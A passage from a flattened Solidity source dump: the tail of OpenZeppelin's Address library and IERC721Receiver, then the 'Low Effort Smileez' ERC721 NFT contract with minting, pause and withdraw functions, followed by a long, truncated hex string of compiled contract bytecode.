{xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: contracts/LowEffortSmileezV2.sol pragma solidity ^0.8.2; contract LowEffortSmileez is ERC721, ERC721Enumerable, ERC721URIStorage, ERC721Burnable, Pausable, Ownable { using Counters for Counters.Counter; uint256 public basePrice = 0.069 ether; uint256 public supplyCap = 10000; uint8 public mintCap = 20; Counters.Counter private _tokenIdCounter; constructor() ERC721("Low Effort Smileez", "SMLZ") { } function pause() public onlyOwner { _pause(); } function unpause() public onlyOwner { _unpause(); } function withdraw() public payable onlyOwner { require(payable(msg.sender).send(address(this).balance)); } function mint(address dest, uint8 qty, string[] memory cids) public payable { require(qty <= mintCap); require(qty > 0); require(totalSupply() + qty < supplyCap); if (msg.sender != owner()) { require(msg.value >= basePrice * qty); } for (uint8 i = 0; i<qty; i++) { uint256 newId = _tokenIdCounter.current(); _safeMint(dest, newId); _setTokenURI(newId, string(abi.encodePacked('ipfs://', cids[i]))); _tokenIdCounter.increment(); } } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal whenNotPaused override(ERC721, ERC721Enumerable) { super._beforeTokenTransfer(from, to, tokenId); } // The following functions are overrides required by Solidity. function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) { super._burn(tokenId); } function tokenURI(uint256 tokenId) public view override(ERC721, ERC721URIStorage) returns (string memory) { return super.tokenURI(tokenId); } function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable) returns (bool) { return super.supportsInterface(interfaceId); } }
0x6080604052600436106101b75760003560e01c806370a08231116100ec578063a22cb4651161008a578063c87b56dd11610064578063c87b56dd146105c7578063e2efc80514610604578063e985e9c514610620578063f2fde38b1461065d576101b7565b8063a22cb4651461054a578063b88d4fde14610573578063c7876ea41461059c576101b7565b80638456cb59116100c65780638456cb59146104b25780638da5cb5b146104c95780638f770ad0146104f457806395d89b411461051f576101b7565b806370a0823114610433578063715018a61461047057806376c71ca114610487576101b7565b80633ccfd60b1161015957806342966c681161013357806342966c68146103655780634f6ccce71461038e5780635c975abb146103cb5780636352211e146103f6576101b7565b80633ccfd60b1461031b5780633f4ba83a1461032557806342842e0e1461033c576101b7565b8063095ea7b311610195578063095ea7b31461026157806318160ddd1461028a57806323b872dd146102b55780632f745c59146102de576101b7565b806301ffc9a7146101bc57806306fdde03146101f9578063081812fc14610224575b600080fd5b3480156101c857600080fd5b506101e360048036038101906101de9190612fd7565b610686565b6040516101f09190613532565b60405180910390f35b34801561020557600080fd5b5061020e610698565b60405161021b919061354d565b60405180910390f35b34801561023057600080fd5b5061024b60048036038101906102469190613031565b61072a565b60405161025891906134cb565b60405180910390f35b34801561026d57600080fd5b5061028860048036038101906102839190612f28565b6107af565b005b34801561029657600080fd5b5061029f6108c7565b6040516102ac919061384f565b60405180910390f35b3480156102c157600080fd5b506102dc60048036038101906102d79190612e12565b6108d4565b005b3480156102ea57600080fd5b5061030560048036038101906103009190612f28565b610934565b604051610312919061384f565b60405180910390f35b6103236109d9565b005b34801561033157600080fd5b5061033a610a95565b005b34801561034857600080fd5b50610363600480360381019061035e9190612e12565b610b1b565b005b34801561037157600080fd5b5061038c60048036038101906103879190613031565b610b3b565b005b34801561039a57600080fd5b506103b560048036038101906103b09190613031565b610b97565b6040516103c2919061384f565b60405180910390f35b3480156103d757600080fd5b506103e0610c08565b6040516103ed9190613532565b60405180910390f35b34801561040257600080fd5b5061041d60048036038101906104189190613031565b610c1f565b60405161042a91906134cb565b60405180910390f35b34801561043f57600080fd5b5061045a60048036038101906104559190612da5565b610cd1565b604051610467919061384f565b60405180910390f35b34801561047c57600080fd5b50610485610d89565b005b34801561049357600080fd5b5061049c610e11565b6040516104a9919061386a565b60405180910390f35b3480156104be57600080fd5b506104c7610e24565b005b3480156104d557600080fd5b506104de610eaa565b6040516104eb91906134cb565b60405180910390f35b34801561050057600080fd5b50610509610ed4565b604051610516919061384f565b60405180910390f35b34801561052b57600080fd5b50610534610eda565b604051610541919061354d565b60405180910390f35b34801561055657600080fd5b50610571600480360381019061056c9190612ee8565b610f6c565b005b34801561057f57600080fd5b5061059a60048036038101906105959190612e65565b6110ed565b005b3480156105a857600080fd5b506105b161114f565b6040516105be919061384f565b60405180910390f35b3480156105d357600080fd5b506105ee60048036038101906105e99190613031565b611155565b6040516105fb919061354d565b60405180910390f35b61061e60048036038101906106199190612f68565b611167565b005b34801561062c57600080fd5b5061064760048036038101906106429190612dd2565b6112a7565b6040516106549190613532565b60405180910390f35b34801561066957600080fd5b50610684600480360381019061067f9190612da5565b61133b565b005b600061069182611433565b9050919050565b6060600080546106a790613b53565b80601f01602080910402602001604051908101604052809291908181526020018280546106d390613b53565b80156107205780601f106106f557610100808354040283529160200191610720565b820191906000526020600020905b81548152906001019060200180831161070357829003601f168201915b5050505050905090565b6000610735826114ad565b610774576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076b9061374f565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b60006107ba82610c1f565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561082b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610822906137cf565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1661084a611519565b73ffffffffffffffffffffffffffffffffffffffff161480610879575061087881610873611519565b6112a7565b5b6108b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108af9061368f565b60405180910390fd5b6108c28383611521565b505050565b6000600880549050905090565b6108e56108df611519565b826115da565b610924576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091b906137ef565b60405180910390fd5b61092f8383836116b8565b505050565b600061093f83610cd1565b8210610980576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109779061358f565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002054905092915050565b6109e1611519565b73ffffffffffffffffffffffffffffffffffffffff166109ff610eaa565b73ffffffffffffffffffffffffffffffffffffffff1614610a55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4c9061376f565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050610a9357600080fd5b565b610a9d611519565b73ffffffffffffffffffffffffffffffffffffffff16610abb610eaa565b73ffffffffffffffffffffffffffffffffffffffff1614610b11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b089061376f565b60405180910390fd5b610b19611914565b565b610b36838383604051806020016040528060008152506110ed565b505050565b610b4c610b46611519565b826115da565b610b8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b829061382f565b60405180910390fd5b610b94816119b6565b50565b6000610ba16108c7565b8210610be2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd99061380f565b60405180910390fd5b60088281548110610bf657610bf5613d16565b5b90600052602060002001549050919050565b6000600b60009054906101000a900460ff16905090565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610cc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cbf906136cf565b60405180910390fd5b80915050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d39906136af565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610d91611519565b73ffffffffffffffffffffffffffffffffffffffff16610daf610eaa565b73ffffffffffffffffffffffffffffffffffffffff1614610e05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfc9061376f565b60405180910390fd5b610e0f60006119c2565b565b600e60009054906101000a900460ff1681565b610e2c611519565b73ffffffffffffffffffffffffffffffffffffffff16610e4a610eaa565b73ffffffffffffffffffffffffffffffffffffffff1614610ea0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e979061376f565b60405180910390fd5b610ea8611a88565b565b6000600b60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600d5481565b606060018054610ee990613b53565b80601f0160208091040260200160405190810160405280929190818152602001828054610f1590613b53565b8015610f625780601f10610f3757610100808354040283529160200191610f62565b820191906000526020600020905b815481529060010190602001808311610f4557829003601f168201915b5050505050905090565b610f74611519565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fe2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd99061362f565b60405180910390fd5b8060056000610fef611519565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff1661109c611519565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516110e19190613532565b60405180910390a35050565b6110fe6110f8611519565b836115da565b61113d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611134906137ef565b60405180910390fd5b61114984848484611b2b565b50505050565b600c5481565b606061116082611b87565b9050919050565b600e60009054906101000a900460ff1660ff168260ff16111561118957600080fd5b60008260ff161161119957600080fd5b600d548260ff166111a86108c7565b6111b2919061397b565b106111bc57600080fd5b6111c4610eaa565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611214578160ff16600c546112079190613a02565b34101561121357600080fd5b5b60005b8260ff168160ff1610156112a1576000611231600f611cd9565b905061123d8582611ce7565b61128381848460ff168151811061125757611256613d16565b5b602002602001015160405160200161126f91906134a9565b604051602081830303815290604052611d05565b61128d600f611d79565b50808061129990613bff565b915050611217565b50505050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b611343611519565b73ffffffffffffffffffffffffffffffffffffffff16611361610eaa565b73ffffffffffffffffffffffffffffffffffffffff16146113b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ae9061376f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611427576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141e906135cf565b60405180910390fd5b611430816119c2565b50565b60007f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806114a657506114a582611d8f565b5b9050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff1661159483610c1f565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b60006115e5826114ad565b611624576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161b9061364f565b60405180910390fd5b600061162f83610c1f565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148061169e57508373ffffffffffffffffffffffffffffffffffffffff166116868461072a565b73ffffffffffffffffffffffffffffffffffffffff16145b806116af57506116ae81856112a7565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff166116d882610c1f565b73ffffffffffffffffffffffffffffffffffffffff161461172e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117259061378f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561179e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117959061360f565b60405180910390fd5b6117a9838383611e71565b6117b4600082611521565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546118049190613a5c565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461185b919061397b565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b61191c610c08565b61195b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119529061356f565b60405180910390fd5b6000600b60006101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa61199f611519565b6040516119ac91906134cb565b60405180910390a1565b6119bf81611ec9565b50565b6000600b60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600b60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b611a90610c08565b15611ad0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ac79061366f565b60405180910390fd5b6001600b60006101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a258611b14611519565b604051611b2191906134cb565b60405180910390a1565b611b368484846116b8565b611b4284848484611f1c565b611b81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b78906135af565b60405180910390fd5b50505050565b6060611b92826114ad565b611bd1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bc89061372f565b60405180910390fd5b6000600a60008481526020019081526020016000208054611bf190613b53565b80601f0160208091040260200160405190810160405280929190818152602001828054611c1d90613b53565b8015611c6a5780601f10611c3f57610100808354040283529160200191611c6a565b820191906000526020600020905b815481529060010190602001808311611c4d57829003601f168201915b505050505090506000611c7b6120b3565b9050600081511415611c91578192505050611cd4565b600082511115611cc6578082604051602001611cae929190613485565b60405160208183030381529060405292505050611cd4565b611ccf846120ca565b925050505b919050565b600081600001549050919050565b611d01828260405180602001604052806000815250612171565b5050565b611d0e826114ad565b611d4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d44906136ef565b60405180910390fd5b80600a60008481526020019081526020016000209080519060200190611d74929190612aa8565b505050565b6001816000016000828254019250508190555050565b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480611e5a57507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80611e6a5750611e69826121cc565b5b9050919050565b611e79610c08565b15611eb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eb09061366f565b60405180910390fd5b611ec4838383612236565b505050565b611ed28161234a565b6000600a60008381526020019081526020016000208054611ef290613b53565b905014611f1957600a60008281526020019081526020016000206000611f189190612b2e565b5b50565b6000611f3d8473ffffffffffffffffffffffffffffffffffffffff1661245b565b156120a6578373ffffffffffffffffffffffffffffffffffffffff1663150b7a02611f66611519565b8786866040518563ffffffff1660e01b8152600401611f8894939291906134e6565b602060405180830381600087803b158015611fa257600080fd5b505af1925050508015611fd357506040513d601f19601f82011682018060405250810190611fd09190613004565b60015b612056573d8060008114612003576040519150601f19603f3d011682016040523d82523d6000602084013e612008565b606091505b5060008151141561204e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612045906135af565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149150506120ab565b600190505b949350505050565b606060405180602001604052806000815250905090565b60606120d5826114ad565b612114576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161210b906137af565b60405180910390fd5b600061211e6120b3565b9050600081511161213e5760405180602001604052806000815250612169565b806121488461246e565b604051602001612159929190613485565b6040516020818303038152906040525b915050919050565b61217b83836125cf565b6121886000848484611f1c565b6121c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121be906135af565b60405180910390fd5b505050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b61224183838361279d565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156122845761227f816127a2565b6122c3565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146122c2576122c183826127eb565b5b5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156123065761230181612958565b612345565b8273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612344576123438282612a29565b5b5b505050565b600061235582610c1f565b905061236381600084611e71565b61236e600083611521565b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546123be9190613a5c565b925050819055506002600083815260200190815260200160002060006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905581600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b600080823b905060008111915050919050565b606060008214156124b6576040518060400160405280600181526020017f300000000000000000000000000000000000000000000000000000000000000081525090506125ca565b600082905060005b600082146124e85780806124d190613bb6565b915050600a826124e191906139d1565b91506124be565b60008167ffffffffffffffff81111561250457612503613d45565b5b6040519080825280601f01601f1916602001820160405280156125365781602001600182028036833780820191505090505b5090505b600085146125c35760018261254f9190613a5c565b9150600a8561255e9190613c29565b603061256a919061397b565b60f81b8183815181106125805761257f613d16565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a856125bc91906139d1565b945061253a565b8093505050505b919050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561263f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126369061370f565b60405180910390fd5b612648816114ad565b15612688576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161267f906135ef565b60405180910390fd5b61269460008383611e71565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546126e4919061397b565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b505050565b6008805490506009600083815260200190815260200160002081905550600881908060018154018082558091505060019003906000526020600020016000909190919091505550565b600060016127f884610cd1565b6128029190613a5c565b90506000600760008481526020019081526020016000205490508181146128e7576000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002054905080600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002081905550816007600083815260200190815260200160002081905550505b6007600084815260200190815260200160002060009055600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000206000905550505050565b6000600160088054905061296c9190613a5c565b905060006009600084815260200190815260200160002054905060006008838154811061299c5761299b613d16565b5b9060005260206000200154905080600883815481106129be576129bd613d16565b5b906000526020600020018190555081600960008381526020019081526020016000208190555060096000858152602001908152602001600020600090556008805480612a0d57612a0c613ce7565b5b6001900381819060005260206000200160009055905550505050565b6000612a3483610cd1565b905081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002081905550806007600084815260200190815260200160002081905550505050565b828054612ab490613b53565b90600052602060002090601f016020900481019282612ad65760008555612b1d565b82601f10612aef57805160ff1916838001178555612b1d565b82800160010185558215612b1d579182015b82811115612b1c578251825591602001919060010190612b01565b5b509050612b2a9190612b6e565b5090565b508054612b3a90613b53565b6000825580601f10612b4c5750612b6b565b601f016020900490600052602060002090810190612b6a9190612b6e565b5b50565b5b80821115612b87576000816000905550600101612b6f565b5090565b6000612b9e612b99846138aa565b613885565b90508083825260208201905082856020860282011115612bc157612bc0613d79565b5b60005b85811015612c0f57813567ffffffffffffffff811115612be757612be6613d74565b5b808601612bf48982612d4d565b85526020850194506020840193505050600181019050612bc4565b5050509392505050565b6000612c2c612c27846138d6565b613885565b905082815260208101848484011115612c4857612c47613d7e565b5b612c53848285613b11565b509392505050565b6000612c6e612c6984613907565b613885565b905082815260208101848484011115612c8a57612c89613d7e565b5b612c95848285613b11565b509392505050565b600081359050612cac816143fc565b92915050565b600082601f830112612cc757612cc6613d74565b5b8135612cd7848260208601612b8b565b91505092915050565b600081359050612cef81614413565b92915050565b600081359050612d048161442a565b92915050565b600081519050612d198161442a565b92915050565b600082601f830112612d3457612d33613d74565b5b8135612d44848260208601612c19565b91505092915050565b600082601f830112612d6257612d61613d74565b5b8135612d72848260208601612c5b565b91505092915050565b600081359050612d8a81614441565b92915050565b600081359050612d9f81614458565b92915050565b600060208284031215612dbb57612dba613d88565b5b6000612dc984828501612c9d565b91505092915050565b60008060408385031215612de957612de8613d88565b5b6000612df785828601612c9d565b9250506020612e0885828601612c9d565b9150509250929050565b600080600060608486031215612e2b57612e2a613d88565b5b6000612e3986828701612c9d565b9350506020612e4a86828701612c9d565b9250506040612e5b86828701612d7b565b9150509250925092565b60008060008060808587031215612e7f57612e7e613d88565b5b6000612e8d87828801612c9d565b9450506020612e9e87828801612c9d565b9350506040612eaf87828801612d7b565b925050606085013567ffffffffffffffff811115612ed057612ecf613d83565b5b612edc87828801612d1f565b91505092959194509250565b60008060408385031215612eff57612efe613d88565b5b6000612f0d85828601612c9d565b9250506020612f1e85828601612ce0565b9150509250929050565b60008060408385031215612f3f57612f3e613d88565b5b6000612f4d85828601612c9d565b9250506020612f5e85828601612d7b565b9150509250929050565b600080600060608486031215612f8157612f80613d88565b5b6000612f8f86828701612c9d565b9350506020612fa086828701612d90565b925050604084013567ffffffffffffffff811115612fc157612fc0613d83565b5b612fcd86828701612cb2565b9150509250925092565b600060208284031215612fed57612fec613d88565b5b6000612ffb84828501612cf5565b91505092915050565b60006020828403121561301a57613019613d88565b5b600061302884828501612d0a565b91505092915050565b60006020828403121561304757613046613d88565b5b600061305584828501612d7b565b91505092915050565b61306781613a90565b82525050565b61307681613aa2565b82525050565b600061308782613938565b613091818561394e565b93506130a1818560208601613b20565b6130aa81613d8d565b840191505092915050565b60006130c082613943565b6130ca818561395f565b93506130da818560208601613b20565b6130e381613d8d565b840191505092915050565b60006130f982613943565b6131038185613970565b9350613113818560208601613b20565b80840191505092915050565b600061312c60148361395f565b915061313782613d9e565b602082019050919050565b600061314f602b8361395f565b915061315a82613dc7565b604082019050919050565b600061317260328361395f565b915061317d82613e16565b604082019050919050565b600061319560268361395f565b91506131a082613e65565b604082019050919050565b60006131b8601c8361395f565b91506131c382613eb4565b602082019050919050565b60006131db60248361395f565b91506131e682613edd565b604082019050919050565b60006131fe60198361395f565b915061320982613f2c565b602082019050919050565b6000613221602c8361395f565b915061322c82613f55565b604082019050919050565b6000613244600783613970565b915061324f82613fa4565b600782019050919050565b600061326760108361395f565b915061327282613fcd565b602082019050919050565b600061328a60388361395f565b915061329582613ff6565b604082019050919050565b60006132ad602a8361395f565b91506132b882614045565b604082019050919050565b60006132d060298361395f565b91506132db82614094565b604082019050919050565b60006132f3602e8361395f565b91506132fe826140e3565b604082019050919050565b600061331660208361395f565b915061332182614132565b602082019050919050565b600061333960318361395f565b91506133448261415b565b604082019050919050565b600061335c602c8361395f565b9150613367826141aa565b604082019050919050565b600061337f60208361395f565b915061338a826141f9565b602082019050919050565b60006133a260298361395f565b91506133ad82614222565b604082019050919050565b60006133c5602f8361395f565b91506133d082614271565b604082019050919050565b60006133e860218361395f565b91506133f3826142c0565b604082019050919050565b600061340b60318361395f565b91506134168261430f565b604082019050919050565b600061342e602c8361395f565b91506134398261435e565b604082019050919050565b600061345160308361395f565b915061345c826143ad565b604082019050919050565b61347081613afa565b82525050565b61347f81613b04565b82525050565b600061349182856130ee565b915061349d82846130ee565b91508190509392505050565b60006134b482613237565b91506134c082846130ee565b915081905092915050565b60006020820190506134e0600083018461305e565b92915050565b60006080820190506134fb600083018761305e565b613508602083018661305e565b6135156040830185613467565b8181036060830152613527818461307c565b905095945050505050565b6000602082019050613547600083018461306d565b92915050565b6000602082019050818103600083015261356781846130b5565b905092915050565b600060208201905081810360008301526135888161311f565b9050919050565b600060208201905081810360008301526135a881613142565b9050919050565b600060208201905081810360008301526135c881613165565b9050919050565b600060208201905081810360008301526135e881613188565b9050919050565b60006020820190508181036000830152613608816131ab565b9050919050565b60006020820190508181036000830152613628816131ce565b9050919050565b60006020820190508181036000830152613648816131f1565b9050919050565b6000602082019050818103600083015261366881613214565b9050919050565b600060208201905081810360008301526136888161325a565b9050919050565b600060208201905081810360008301526136a88161327d565b9050919050565b600060208201905081810360008301526136c8816132a0565b9050919050565b600060208201905081810360008301526136e8816132c3565b9050919050565b60006020820190508181036000830152613708816132e6565b9050919050565b6000602082019050818103600083015261372881613309565b9050919050565b600060208201905081810360008301526137488161332c565b9050919050565b600060208201905081810360008301526137688161334f565b9050919050565b6000602082019050818103600083015261378881613372565b9050919050565b600060208201905081810360008301526137a881613395565b9050919050565b600060208201905081810360008301526137c8816133b8565b9050919050565b600060208201905081810360008301526137e8816133db565b9050919050565b60006020820190508181036000830152613808816133fe565b9050919050565b6000602082019050818103600083015261382881613421565b9050919050565b6000602082019050818103600083015261384881613444565b9050919050565b60006020820190506138646000830184613467565b92915050565b600060208201905061387f6000830184613476565b92915050565b600061388f6138a0565b905061389b8282613b85565b919050565b6000604051905090565b600067ffffffffffffffff8211156138c5576138c4613d45565b5b602082029050602081019050919050565b600067ffffffffffffffff8211156138f1576138f0613d45565b5b6138fa82613d8d565b9050602081019050919050565b600067ffffffffffffffff82111561392257613921613d45565b5b61392b82613d8d565b9050602081019050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b600061398682613afa565b915061399183613afa565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156139c6576139c5613c5a565b5b828201905092915050565b60006139dc82613afa565b91506139e783613afa565b9250826139f7576139f6613c89565b5b828204905092915050565b6000613a0d82613afa565b9150613a1883613afa565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613a5157613a50613c5a565b5b828202905092915050565b6000613a6782613afa565b9150613a7283613afa565b925082821015613a8557613a84613c5a565b5b828203905092915050565b6000613a9b82613ada565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b82818337600083830152505050565b60005b83811015613b3e578082015181840152602081019050613b23565b83811115613b4d576000848401525b50505050565b60006002820490506001821680613b6b57607f821691505b60208210811415613b7f57613b7e613cb8565b5b50919050565b613b8e82613d8d565b810181811067ffffffffffffffff82111715613bad57613bac613d45565b5b80604052505050565b6000613bc182613afa565b91507ffffffffffffffffffffffffffffff